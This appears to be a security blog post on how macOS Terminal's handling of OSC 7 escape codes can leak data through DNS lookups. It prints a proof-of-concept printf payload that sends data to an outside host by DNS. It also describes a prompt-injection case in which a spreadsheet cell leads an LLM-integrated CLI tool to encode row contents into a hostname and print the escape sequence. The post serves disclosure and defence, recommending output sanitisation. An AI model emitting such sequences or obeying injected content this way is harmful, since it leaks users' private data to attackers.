Styled output in macOS Terminal can leak data over DNS

How Terminal turns escape codes into network activity

The sequence in question used OSC 7, written as ESC ]7;file://... BEL. In macOS Terminal, that was enough to make the app parse the host part of the file URI and issue a DNS request for it. The BEL character is ASCII 7, not 10, which matters if you are trying to spot the payload by eye or in logs.

That behaviour turns rendering into an outbound lookup. If the host name contains data, that data leaves the box in the DNS query. The terminal does not need a shell command, a function call, or any other obvious execution path. It only needs to display the text.

A simple proof of concept used a payload like printf '\e]7;file://some.data.wuzzi.net/\a'. Once the sequence reached Terminal, the application tried to resolve the host. A DNS listener such as interactsh-client could then catch the query and show the leak.

Prompt injection becomes a DNS exfiltration path

LLM-integrated CLI tools made this awkwardly practical. If attacker-controlled content shaped the model’s reply, the model could be pushed into emitting raw escape characters inside otherwise ordinary output. A malicious spreadsheet cell was enough in one demo: it prompted the model to encode nearby row contents into a hostname, then print the result.

Once that output went straight to Terminal, the control sequence did the rest. The data did not need to survive a shell escape, and it did not need a fancy payload chain. It just had to be rendered as terminal output. That is the annoying part, because many CLI tools still treat model output as text and stop there.

The leak path is narrow but real. If the hostname includes names, identifiers, or other sensitive strings, DNS sees them in transit. Any logging or resolution path between the terminal and the upstream resolver may also see them. The weakness sits in output handling, not in command execution.

Sanitize output before it reaches the terminal

Raw ANSI escape sequences should not reach the terminal by default. Encode control characters in the same rough style as cat -v, so escape bytes appear as visible text instead of live control data. That is a blunt fix, which is exactly what terminal output needs when it comes from untrusted sources.

This matters most for tools that merge model output with file contents, clipboard text, logs, or spreadsheet rows. If the tool prints whatever it receives, it inherits every odd terminal capability the emulator supports. Terminal app behaviour is not the same across emulators, so a safe default in one app can still behave badly in another.

Sanitisation also closes off accidental breakage. Some ANSI escape sequences do odd things even when nobody is trying to exfiltrate data. Colours, hyperlinks, window titles, and file-related sequences all have different effects depending on the terminal. Treating all of that as plain text keeps the output predictable.

Ship the fix with explicit raw-output opt-in

Raw terminal output should be opt-in, not the default. If a tool needs to show control codes, make the user ask for it with a clear flag and a warning that the output is unsanitised. That boundary is worth keeping even for local tools, because local output is exactly where people get lazy.

The cleaner pattern is simple: sanitise by default, expose a raw mode for trusted debugging, and keep the distinction obvious in the interface. Python and Go tools can both do this without much ceremony. If a helper already prints coloured or styled output, it should treat ANSI escape sequences as data unless the user has explicitly chosen otherwise.

Apple addressed the issue in macOS Tahoe 26.1, and the same escape sequence no longer triggers a DNS request in Terminal after the update. That fixes one application on one release. It does not change the habit that caused the leak in the first place.

Related posts

headscale | v0.29.7

Headscale v0 29 7 security release: upgrade to v0 29 7, update Tailscale to v1 104 4 or newer, disable SSH agent and port forwarding per node until update

ionCube Loader: offline PHP bytecode decryption

ionCube Loader is not magic, just a native PHP extension with a very hard boundary. Once you trace the entrypoint and the key derivation properly, the supposed mystery turns into a pile of exacting...

Vault | v2.2.1

Vault v2 2 1: maintenance patch with regression fixes, stability and correctness improvements, upgrade guidance, verify downloads and report regressions